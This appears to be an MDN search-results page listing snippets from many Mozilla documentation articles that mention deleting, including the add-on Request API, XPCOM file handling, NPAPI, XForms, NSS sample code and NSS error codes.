n; charset=latin1", oncomplete: function (response) { console.log(response.text); } }); quijote.get(); anonymous boolean if true, the request will be sent without cookies or authentication headers. this option sets the mozanon property in the underlying xmlhttprequest object. defaults to false. request the request object is used to make get, head, post, put, or delete network requests. it is constructed with a url to which the request is sent. optionally the user may specify a collection of headers and content to send alongside the request and a callback which will be executed once the request completes. once a request object has been created a get request can be executed by calling its get() method, a post request by calling its post() method, and so on. wh...
...request({ url: "https://api.twitter.com/1.1/application/rate_limit_status.json", oncomplete: function (response) { if (response.json.remaining_hits) { latesttweetrequest.get(); } else { console.log("you have been rate limited!"); } } }).get(); methods get() make a get request. head() make a head request. post() make a post request. put() make a put request. delete() make a delete request. properties url headers content contenttype response events complete the request object emits this event when the request has completed and a response has been received. arguments response : listener functions are passed the response to the request as a response object. response the response object contains the response to a network request issued using a req...
...enttype response events complete the request object emits this event when the request has completed and a response has been received. arguments response : listener functions are passed the response to the request as a response object. response the response object contains the response to a network request issued using a request object. it is returned by the get(), head(), post(), put() or delete() method of a request object. all members of a response object are read-only. properties url the url of the response content. text the content of the response as plain text. json the content of the response as a javascript object. the value will be null if the document cannot be processed by json.parse. status the http response status code (e.g. 200). statustext the http response stat...
JavaScript Daemons Management - Archive of obsolete content
* *******************************/ /******************************* * polyfills * *******************************/ /*\ |*| |*| ie-specific polyfill which enables the passage of arbitrary arguments to the |*| callback functio...
... * *******************************/ /******************************* * polyfills * *******************************/ /*\ |*| |*| ie-specific polyfill which enables the passage of arbitrary arguments to the |*| callback functions of javascript timers...
... * *******************************/ /******************************* * polyfills * *******************************/ /*\ |*| |*| ie-specific polyfill which enables the passage of arbitrary arguments to the |*| callback functions of javascript timers (html5 standard syntax...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
note that firefox itself and its extensions have privileges set by default after installation and registration. extensions don't need special code like that in listing 2 in order to get privileges. fixme: we should advise against using such method fixme: figure 1: dialog requesting privileges listing 3: grant privileges without manual con...
...ted as an escape code, so should always be written “\\”; characters like “./” on linux require no special handling. ...
... object representing a file var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath('c:\\temp\\temp.txt'); creating and deleting files listing 7 shows how to delete a file if it exists, and create a new file with the same name. passing true as a parameter for the nsilocalfile.remove() method will recursively delete folders and files. let's see what happens when we pass true to delete all the contents of a folder. listing 7: check that file exists, delete it, and create it file.initwithpath('c:\\temp\\temp.txt'); if (file.exists()) file.remove(false); file.create(file.normal_file_type, 0666); the first parameter of the nsilocalfile.create() method gives the type of file to create. this is defined using...
JavaScript Client API - Archive of obsolete content
lity of this method to define the guid -> item mapping, and to store it for later reference by other methods. wipe() when this method is called, your store needs to completely wipe all of its stored data from the local application. that doesn't mean just whatever caches of the data the store happens to be maintaining; it means the underlying data itself. for instance, bookmarkstore.wipe() deletes all bookmarks from the current firefox profile. how to do this for your particular data type is up to you to figure out. the next three methods are called by the sync algorithm when it determines that the state of the local application needs to be changed to keep it up-to-date with the user's remote activities. the sync algorithm will call your store object with a record to be created, updated...
...so for example, bookmarkstore.create() adds a new bookmark to the firefox profile). update(record) the argument is a record which has been remotely modified; your store should locate the matching local item (presumably using the guid, which is available in record.id) and update it to the new values provided in record. remove(record) the argument is a record which has been remotely deleted; your store should locate the matching local item and delete it. (don't rely on the record that is passed in to this method having any of its attributes set correctly except for .id. the .id should be al you need, anyway.) applyincomingbatch : todo example store skeleton // maintains the store of all your foo-type items and their guids. function foostore(name) { store.call(this, name);...
...r record.id = guid; // return the record return record; }, changeitemid: function(oldid, newid) { // find the item with guid = oldid and change its guid to newid. }, getallids: function() { // return a list of the guids of all items. invent guids for any items // that don't have them already, and remember the mapping for later use. }, wipe: function() { // delete everything! }, create: function(record) { // create a new item based on the values in record }, update: function(record) { // look up the stored record with id = record.id, then set // its values to those of new record }, remove: function(record) { // look up the stored record with id = record.id, then delete it. } }; writing a tracker class your tracker class mus...
List of commands - Archive of obsolete content
ordnext cmd_selectwordprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlineprevious cmd_selectlinenext cmd_selectpageprevious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a selection from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_lineprevious cmd_selectlinenext cmd_selectlineprevious cmd_charprevious cmd_charnext cmd_selectcharprevious cmd_selectcharnext cmd_b...
...etically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder cmd_bm_movebookmark cmd_bm_newbookmark cmd_bm_newfolder cmd_bm_newseparator cmd_bm_open cmd_bm_openinnewtab cmd_bm_openinnewwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_setnewbookmarkfolder cmd_bm_setnewsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder c...
...rk cmd_bm_newfolder cmd_bm_newseparator cmd_bm_open cmd_bm_openinnewtab cmd_bm_openinnewwindow cmd_bm_paste cmd_bm_properties cmd_bm_rename cmd_bm_selectall cmd_bm_setnewbookmarkfolder cmd_bm_setnewsearchfolder cmd_bm_setpersonaltoolbarfolder cmd_bm_sortfolder cmd_bm_sortfolderbyname cmd_close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handlebackspace cmd_handleshiftbackspace cmd_minimizewindow cmd_neweditor cmd_neweditordraft cmd_neweditortemplate cmd_newnavigator cmd_newnavigatortab cmd_newtabwithtarget cmd_openhelp cmd_paste - paste a selection from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage cmd_scrollpagedown cmd_scrollpag...
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
javascript console window, paste the code in the field near the top. presss the return or enter key, or the evaluate button. the console displays the location of seamonkey's chrome directory. explanation: the chrome directory contains program files that are part of seamonkey itself, together with other files that are provided by extensions. your toolbar button will be an extension. 2. delete these two files: chrome.rdf overlays.rdf explanation: seamonkey automatically rebuilds these files the next time it starts. when it rebuilds them, it will include your new extension. 3. edit the file: installed-chrome.txt at the end of the file, add the following line. copy and paste the line from here, to avoid typing errors: content,install,url...
... for its classic theme. lighter images are used when the mouse pointer is over the button. darker images are used when the button is pressed. testing your new button restart seamonkey. click the button to test it. you should see the pop-up message. further development this section describes how you can develop your button further. uninstalling the button if you ever want to uninstall the button, delete the files chrome.rdf and overlays.rdf again, just as you did in step 2. remove the line that you added to installed-chrome.txt in step 3. delete the custombutton directory that you created in step 4. restart seamonkey. troubleshooting if the button does not appear, or if you find some other problem, check that you have followed all the steps exactly. if necessary, uninstall the button and start a...
...all the toolbars in a single file, button.xul. this is not always satisfactory. if you find that settings for different toolbars interfere with each other, make a separate xul file for each toolbar by copying button.xul and removing that parts that you do not need. change contents.rdf, replacing each occurrence of button.xul with the name of one of your new xul files. after changing contents.rdf, delete the files chrome.rdf and overlays.rdf so that seamonkey registers the change the next time it starts. distributing your button to other users if you want to distribute your button or buttons to other users, you must first make some changes to avoid conflicts when they install your extension. you will need a jar tool or zip tool to package your extension. there are six steps. 1. choose a...
NPP_Destroy - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary deletes a specific instance of a plug-in. syntax #include <npapi.h> nperror npp_destroy(npp instance, npsaveddata **save); parameters the function has the following parameters: instance pointer to the plug-in instance to delete. **save state or other information to save for reuse by a new instance of this plug-in at the same url. passed to npp_new. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. ...
...stance of this plug-in at the same url. passed to npp_new. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npp_destroy releases the instance data and resources associated with a plug-in. ...
...successful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npp_destroy releases the instance data and resources associated with a plug-in. the browser calls this function when a plug-in instance is deleted, typically because the user has left the page containing the instance, closed the window, or quit the browser. you should delete any private instance-specific information stored in the plug-in's instance->pdata at this time. if this function is deleting the last instance of a plug-in, np_shutdown is subsequently called. use np_shutdown to delete any data allocated in np_initialize and intended to be shared by all instances of a plug-in. use the optional save parameter if you want to save and reuse some state or other inf...
NPAPI plugin reference - Archive of obsolete content
d property identifiers, such as strings or integers. npidentifiers are unique, in that for any given string or integer, there is only one npidentifier. the lifetime of npidentifiers is controlled by the browser. npn newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser. npn_createobject allocates a new npobject. npn_destroystream closes and deletes a stream. npn_enumerate gets the names of the properties and methods of the specified npobject. npn_evaluate evaluates a script in the scope of the specified npobject. npn_forceredraw asks the plugin host to immediately (synchronously) repaint invalid areas. npn_getauthenticationinfo the function is called by plugins to get http authentication information from the browser. npn_getintide...
... the browser. npnvariable see npn_getvalue. npobject npobject is a structure that holds a pointer to an npclass and an integer reference count, and possibly also implementation specific (i.e. plugin specific, or browser specific) members. npp represents a single instance of a plug-in. you specify one of these to any npapi function that needs to know which plug-in to work with. npp_destroy deletes a specific instance of a plug-in. npp_destroystream tells the plug-in that a stream is about to be closed or destroyed. npp_getvalue allows the browser to query the plug-in for information. npp_handleevent delivers a platform-specific window event to the instance. npp_new creates a new instance of a plug-in. npp_newstream notifies a plug-in instance of a new data stream. npp_print re...
...e. npprintcallbackstruct contains information required by the platformprint field of the npembedprint structure during embedded mode printing on unix systems. nppvariable see npn_setvalue. nprect represents a rectangular area of a plug-in's content area. npregion represents a platform-defined region of a page. npsaveddata block of instance information saved after the plug-in instance is deleted; can be returned to the plug-in to restore the data in future instances of the plug-in. npsetwindowcallbackstruct contains information about the plug-in's unix window environment. npstream represents a stream of data either produced by the browser and consumed by the plug-in, or produced by the plug-in and consumed by the browser. npstring npstring is a struct that holds a pointer to a seq...
Object.observe() - Archive of obsolete content
d. callback the function called each time changes are made, with the following argument: changes an array of objects each representing a change. the properties of these change objects are: name: the name of the property which was changed. object: the changed object after the change was made. type: a string indicating the type of change taking place. one of "add", "update", or "delete". oldvalue: only for "update" and "delete" types. the value before the change. acceptlist the list of types of changes to be observed on the given object for the given callback. if omitted, the array ["add", "update", "delete", "reconfigure", "setprototype", "preventextensions"] will be used. return value the object to be observed. description callback is called each time a ch...
...called each time a change is made to obj, with an array of all changes in the order in which they occurred. ...
...of all changes in the order in which they occurred. ...
Implementation Status - Archive of obsolete content
pported 4.3.9 xforms-submit partial see section 11.2 for more details 4.3.10 xforms-submit-serialize supported 4.4 notification events supported 4.4.1 xforms-insert supported 4.4.2 xforms-delete supported 4.4.3 xforms-value-changed supported 4.4.4 xforms-valid supported 4.4.5 xforms-invalid supported 4.4.6 xforms-readonly supported 4.4.7 xforms-readwrite supported ...
...10 xforms action module n/a 10.1 action supported 10.2 setvalue supported 10.3 insert partial we need to better handle when @at evaluates to nan, and we do not generate unique values for xsd:id nodes. ...
...submission options supported 11.9.1 the get submission method supported 11.9.2 the post, multipart-post, form-data-post, and urlencoded-post submission methods supported 11.9.3 the put submission method supported 11.9.4 the delete submission method unsupported 11.9.5 serialization as application/xml supported 11.9.6 serialization as multipart/related partial 330557; 11.9.7 serialization as multipart/form-data supported 11.9.8 serialization as applicati...
XForms Repeat Element - Archive of obsolete content
. behaviour focusing a generated control may change the current index of the containing repeat element. the index is equal to the index of the control set that the focused control belongs to. actions you can use xforms action module elements to modify the nodeset that the repeat element is bound to. the most useful actions for altering the contents of a repeat are the insert (see the spec), delete (see the spec) and setindex (see the spec) elements. example <model> <instance> <my:lines> <my:line name="a"> <my:price>3.00</my:price> </my:line> <my:line name="b"> <my:price>32.25</my:price> </my:line> </my:lines> </instance> </model> <repeat id="lineset" nodeset="/my:lines/my:line"> <input ref="my:price"> <label>line item</label> ...
...thus, one might wish to use element repeat within a table to create the rows of a table, where each row of the table binds to a...
...o create powerful new widgets. in this scenario, though, you should use the anonid attribute to identify the repeat element that has been placed inside anonymous content. ...
Index - MDN Web Docs Glossary: Definitions of Web-related terms
n responses are processed by cors, since they're considered safe (as the headers listed in access-control-expose-headers). 51 crlf cr, crlf, glossary, infrastructure, lf, carriage return, line feed cr and lf are control characters or bytecode that can be used to mark a line break in a text file. 52 crud glossary, infrastructure crud (create, read, update, delete) is an acronym for ways one can operate on stored data. it is a mnemonic for the four basic functions of persistent storage. crud typically refers to operations performed in a database or datastore, but it can also apply to higher level functions of an application such as soft deletes where data is not actually deleted but marked as deleted via a status. 53 csp glossary, http, inf...
..., telephony and the internet. 226 idempotent glossary, webmechanics an http method is idempotent if an identical request can be made once or several times in a row with the same effect while leaving the server in the same state. in other words, an idempotent method should not have any side-effects (except for keeping statistics). implemented correctly, the get, head, put, and delete method are idempotent, but not the post method. all safe methods are also idempotent. 227 identifier beginner, codingscripting, glossary, sharing an identifier is a sequence of characters in the code that identifies a variable, function, or property. 228 immutable codingscripting, glossary an immutable object is one whose content cannot be changed. an ob...
... not recommend that you use it for such files. 398 safe glossary, webmechanics an http method is safe if it doesn't alter the state of the server. in other words, a method is safe if it leads to a read-only operation. several common http methods are safe: get, head, or options. all safe methods are also idempotent, but not all idempotent methods are safe. for example, put and delete are both idempotent but unsafe. 399 same-origin policy glossary, same-origin policy, origin the same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. 400 scope codingscripting, glossary, javascript the current context of execution. the context in...
Build your own function - Learn web development
ivated when the user wants to close the message box. const msg = document.createelement('p'); msg.textcontent = 'this is a message box'; panel.appendchild(msg); const closebtn = document.createelement('button'); closebtn.textcontent = 'x'; panel.appendchild(closebtn); finally, we use an globaleventhandlers.onclick event handler to make it so that when the button is clicked, some code is run to delete the whole panel from the page — to close the message box. briefly, the onclick handler is a property available on the button (or in fact, any element on the page) that can be set to a function to specify what code to run when the button is clicked. you'll learn a lot more about these in our later events article. we are making the onclick handler equal to an anonymous function, which contains t...
...javascript console and type the line again there, you'll see it appear again! so this is fun — we now have a reusable function that we can call any time we like. but we probably want it to appear in response to user and system actions. in a real application, such a message box would probably be called in response to new data being available, or an error having occurred, or the user trying to delete their profile ("are you sure about this?"), or the user adding a new contact and the operation completing successfully, etc. in this demo, we'll get the message box to appear when the user clicks the button. delete the previous line you added. next, we'll select the button and store a reference to it in a constant. add the following line to your code, above the function definition: const...
... given default padding and no icon, with no background panel color set either. this provides a default state if no msgtype parameter is provided, meaning that it is an optional parameter! let's test out our updated function, try updating the displaymessage() call from this: displaymessage('woo, this is a different message!'); to one of these: displaymessage('your inbox is almost full — delete some mails', 'warning'); displaymessage('brian: hi there, how are you today?','chat'); you can see how useful our (now not so) little function is becoming. note: if you have trouble getting the example to work, feel free to check your code against the finished version on github (see it running live also), or ask us for help. test your skills! you've reached the end of this article, but ca...
Understanding client-side JavaScript frameworks - Learn web development
lo to react. we'll discover a little bit of detail about its background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app, learning a bit about how react works in the process. 2. beginning our react todo list let's say that we’ve been tasked with creating a proof-of-concept in react – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them. this article will walk you through putting the basic app component structure and styling in place, ready for individual component definition and interactivity, which we'll add later. 3. componentizing our react app at this point, our app is a monolith. before we can make it do things, we need to break it apart in...
... now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items. to do this, we will take advantage of vue's conditional rendering capabilities — namely v-if and v-else — to allow us to toggle between the existing todo item view and an edit view where you can update todo item labels. we'll also look at adding functionality to delete todo items. 8. focus management with vue refs we are nearly done with vue. the last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. we'll look at using vue refs to handle this — an advanced feature that allows you to have direct access to the underlying dom nodes below the virtual dom, or direct access from one comp...
...g everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles. 3. dynamic behavior in svelte: working with variables and props now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app. in this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status. 4. componentizing our svelte app the central objective of this article is to look at how to break our app into manageable components and share information between them. we'll componentize our app, then add more functionality to allow users to update existing components. 5. advanced svelte: reactivity, lifecycle, accessibility in this ar...
Localizing with Koala
summary of what the output of the comparison means: files: "unmodified" - the file is completely translated. "added" - the file need to be added to the locale's file structure (it is present in en-us, but not in the locale files). "modified" - the file needs to be modified (it is present in both en-us and the locale files, but the locale's version is outdated). "removed" - the file needs to be deleted from locale's file structure (it is no longer present in en-us). before you delete it entirely, check if the same file hasn't been added elsewhere in the en-us file structure! it may happen that a pair of files from which one is "added" and the other one is "removed" is actually the same file which has been moved from one directory to a different one. strings: +5 means that there are 5 missin...
...r one is "removed" is actually the same file which has been moved from one directory to a different one. strings: +5 means that there are 5 missing strings in the locale's file compared to the en-us reference. you will need to add them to your locale's file. -3 would mean that there are 3 obsolete strings in this file which needs to be removed. the file, however, is still used and shouldn't be deleted. to see the results of the comparison for locale's all files (including searchbar.dtd), switch to "locale files" view in the "koala file view" sidebar. you're now looking at your locale's file structure and can see that searchbar.dtd is "unmodified" with 2 translated entities (0 missing, 0 obsolete), whereas search.properties is "modified" with 1 translated entity (6 total minus 5 missing,...
...g them, you will need to "hg add" them. this can be done from koala. once you "hg add" every new file in the repository that you want to track in mercurial, you will need to "hg commit" these new files so as to create a new revision in the repository's history. this process need to be repeated for every new file that you add. also, removing files works in a similar manner: not only do you have to delete the file, but also you need to tell mercurial to stop tracking the file with "hg remove". see "hg help add", "hg help remove" and "hg help addremove" for more details. let's now add and commit these two files from koala. in the "locale files" view in the sidebar, right click on search.properties and choose "add file to repository". this will execute "hg add" on this file in the background. koal...
Midas
happen. note: this command won't work without setting a pref or using signed js. see: more about security preferences note: the shortcut key will automatically trigger this command (typically accel-x) with or without the signed js or any code on the page to handle it. decreasefontsize this command will add a <small> tag around selection or at insertion point. delete this command will delete all text and objects that are selected. if no text is selected it deletes one character to the right. this is similar to the delete button on the keyboard. fontname a font name this command will set the font face for a selection or at the insertion point if there is no selection. the given string is such as would be used in the "face" attribute o...
...located. if the caret is inside a list, that item becomes a sub-item one level deeper. insertbronreturn true/false selects whether pressing return inside a paragraph creates another paragraph or just inserts a <br> tag. inserthorizontalrule null/string (when string is the line's id) this command will insert a horizontal rule (line) at the insertion point. does it delete the selection? yes! inserthtml a string. this command will insert the given html into the <body> in place of the current selection or at the caret location. the given string is the html to insert. insertimage a uri. this command will insert an image (referenced by the given url) at the insertion point. insertorderedlist depends on the sele...
... outdent outdent the block where the caret is located. if the block is not indented prior to calling outdent, nothing will happen. if the caret is in a list item, the item will bump up a level in the list or break out of the list entirely. paste this command will paste the contents of the clipboard at the location of the caret. if there is a selection, it will be deleted prior to the insertion of the clipboard's contents. note: this command won't work without setting a pref or using signed js. user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); see: more about security preferences note: the shortcut key will automatically trigger this command (typically accel-v) with o...
Encrypt Decrypt MAC Keys As Session Objects
*/ rv...
...*/ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_i...
...ame, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it. */ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_initreadwrite failed\n"); goto cleanup; } pk11_setpasswordfunc(g...
Encrypt and decrypt MAC using token
*/ rv...
...*/ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_i...
...ame, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it. */ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_initreadwrite failed\n"); goto cleanup; } pk11_setpasswordfunc(g...
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
= secsuccess; prarenapool *arena = null; void *exthandle = null; prfiledesc *outfile = null; certsubjectpublickeyinfo *spki = null; certcertificaterequest *cr = null; secitem *encoding = null; /* if the certificate request file already exists, delete it */ if (pr_access(certreqfilename, pr_access_exists) == pr_success) { pr_delete(certreqfilename); } /* open the certificate request file to write */ outfile = pr_open(certreqfilename, pr_create_file | pr_rdwr | pr_truncate, 00660); if (!outfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing (%ld, %ld).\n", ...
... const char *nicknamestr, prbool sigverify) { secstatus rv = secsuccess; prfiledesc *headerfile = null; certcertificate *cert = null; headertype htype = certenc; /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } headerfile = pr_open(headerfilename, pr_create_file | pr_rdwr | pr_truncate, 00660); if (!headerfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing (%ld, %ld).\n", headerfilename, pr_geterror(), pr_getoserror()); rv = sec...
... ptext[modblocksize]; unsigned char encbuf[modblocksize]; unsigned int ptextlen; int index; unsigned int nwritten; unsigned int pad[1]; secitem paditem; unsigned int paddinglength = 0; seckeypublickey *pubkey = null; /* if the intermediate encrypted file already exists, delete it*/ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* read certificate from header file */ rv = readfromheaderfile(headerfilename, certenc, &data, pr_true); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not read certificate from header file\n"); goto cleanup; } /* read in an ...
NSS Sample Code Sample_3_Basic Encryption and MACing
*/ rv ...
...*/ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_in...
...name, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it. */ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_initreadwrite failed\n"); goto cleanup; } pk11_setpasswordfunc(g...
EncDecMAC using token object - sample 3
*/ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_in...
...*/ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_initreadwrite failed\n"); goto cleanup; } pk11_setpasswordfunc(getmodulepassword); ...
...s inputfile name with extension ".enc" */ strcpy(encryptedfilename, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } /* if the intermediate encrypted already exists, delete it */ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* open db for read/write and authenticate to it. */ rv = nss_initreadwrite(dbdir); if (rv != secsuccess) { pr_fprintf(pr_stderr, "nss_initreadwrite failed\n"); goto cleanup; } pk11_setpasswordfunc(getmodulepassword); slot = pk11_getinternalkeyslot(); if (pk11_needlogin(slot)) { rv = pk11_aut...
sample2
secoidtag hashalgtag, certname *subject, prbool ascii, const char *certreqfilename) { secoidtag signalgtag; secitem result; print32 numbytes; secstatus rv = secsuccess; prarenapool *arena = null; void *exthandle = null; prfiledesc *outfile = null; certsubjectpublickeyinfo *spki = null; certcertificaterequest *cr = null; secitem *encoding = null; /* if the certificate request file already exists, delete it */ if (pr_access(certreqfilename, pr_access_exists) == pr_success) { pr_delete(certreqfilename); } /* open the certificate request file to write */ outfile = pr_open(certreqfilename, pr_create_file | pr_rdwr | pr_truncate, 00660); if (!outfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing (%ld, %ld).\n", certreqfilename, pr_geterror(), pr_getoserror()); goto cleanup; } /* create ...
...ficate using nickname and saves it to the header file */ secstatus addcertificatetoheader(pk11slotinfo *slot, secupwdata *pwdata, const char *headerfilename, certcertdbhandle *certhandle, const char *nicknamestr, prbool sigverify) { secstatus rv = secsuccess; prfiledesc *headerfile = null; certcertificate *cert = null; headertype htype = certenc; /* if the intermediate header file already exists, delete it */ if (pr_access(headerfilename, pr_access_exists) == pr_success) { pr_delete(headerfilename); } headerfile = pr_open(headerfilename, pr_create_file | pr_rdwr | pr_truncate, 00660); if (!headerfile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for writing (%ld, %ld).\n", headerfilename, pr_geterror(), pr_getoserror()); rv = secfailure; goto cleanup; } cert = cert_findcertbynicknameoremailadd...
...aderfile = null; prfiledesc *encfile = null; prfiledesc *infile = null; certcertificate *cert = null; secitem data; unsigned char ptext[modblocksize]; unsigned char encbuf[modblocksize]; unsigned int ptextlen; int index; unsigned int nwritten; unsigned int pad[1]; secitem paditem; unsigned int paddinglength = 0; seckeypublickey *pubkey = null; /* if the intermediate encrypted file already exists, delete it*/ if (pr_access(encryptedfilename, pr_access_exists) == pr_success) { pr_delete(encryptedfilename); } /* read certificate from header file */ rv = readfromheaderfile(headerfilename, certenc, &data, pr_true); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not read certificate from header file\n"); goto cleanup; } /* read in an ascii cert and return a certcertificate */ cert = cert_decodec...
NSS functions
3.2 and later pk11_createdigestcontext mxr 3.2 and later pk11_creategenericobject mxr 3.12 and later pk11_createmergelog mxr 3.12 and later pk11_createpbealgorithmid mxr 3.2 and later pk11_createpbev2algorithmid mxr 3.12 and later pk11_deletetokenprivatekey mxr 3.4 and later pk11_deletetokenpublickey mxr 3.4 and later pk11_deletetokensymkey mxr 3.4 and later pk11_derive mxr 3.2 and later pk11_derivewithflags mxr 3.2 and later pk11_derivewithflagsperm mxr 3.9 and later p...
... pk11_verifykeyok mxr 3.2 and later pk11_waitfortokenevent mxr 3.7 and later pk11_wrapsymkey mxr 3.2 and later pk11_writerawattribute mxr 3.12 and later pk11sdr_encrypt mxr 3.2 and later pk11sdr_decrypt mxr 3.2 and later sec_deletepermcertificate mxr 3.2 and later sec_deletepermcrl mxr 3.2 and later sec_dersigndata mxr 3.2 and later sec_destroycrl mxr 3.2 and later sec_findcrlbydercert mxr 3.2 and later sec_findcrlbyname mxr 3.2 and later sec_lookupcrls ...
...info mxr 3.2 and later seckey_destroypublickey mxr 3.2 and later seckey_publickeystrength mxr 3.2 and later seckey_updatecertpqg mxr 3.2 and later secmod_addnewmodule mxr 3.3 and later secmod_addnewmoduleex mxr 3.4 and later secmod_deletemoduleex mxr 3.12 and later secmod_cancelwait mxr 3.9.3 and later secmod_candeleteinternalmodule mxr 3.5 and later secmod_createmodule mxr 3.4 and later secmod_deletemodule mxr 3.4 and later secmod_findmodule mxr 3.4 and later secmo...
sslerr.html
same nickname already exists. sec_error_key_nickname_collision -8123 a key with the same nickname already exists. sec_error_safe_not_created -8122 error while creating safe object. sec_error_baggage_not_created -8121 error while creating baggage object. xp_java_remove_principal_error -8120 couldn't remove the principal. xp_java_delete_privilege_error -8119 couldn't delete the privilege xp_java_cert_not_exists_error -8118 this principal doesn't have a certificate. sec_error_bad_export_algorithm -8117 required algorithm is not allowed. sec_error_exporting_certificates -8116 error attempting to export certificates. sec_error_importing_certificates -8115 error attem...
..._key -8096 unable to export. private key could not be located and exported. sec_error_pkcs12_unable_to_write -8095 unable to export. unable to write the export file. sec_error_pkcs12_unable_to_read -8094 unable to import. unable to read the import file. sec_error_pkcs12_key_database_not_initialized -8093 unable to export. key database corrupt or deleted. sec_error_keygen_fail -8092 unable to generate public-private key pair. sec_error_invalid_password -8091 password entered is invalid. sec_error_retry_old_password -8090 old password entered incorrectly. sec_error_bad_nickname -8089 certificate nickname already in use. sec_error_not_fortezza_issuer -8088 peer fortezza cha...
... sec_error_cannot_move_sensitive_key -8087 "a sensitive key cannot be moved to the slot where it is needed." sec_error_js_invalid_module_name -8086 invalid module name. sec_error_js_invalid_dll -8085 invalid module path/filename. sec_error_js_add_mod_failure -8084 unable to add module. sec_error_js_del_mod_failure -8083 unable to delete module. sec_error_old_krl -8082 new krl is not later than the current one. sec_error_ckl_conflict -8081 new ckl has different issuer than current ckl. sec_error_cert_not_in_name_space -8080 certificate issuer is not permitted to issue a certificate with this name. sec_error_krl_not_yet_valid -8079 "the key revocation list for this certif...
JSAPI User Guide
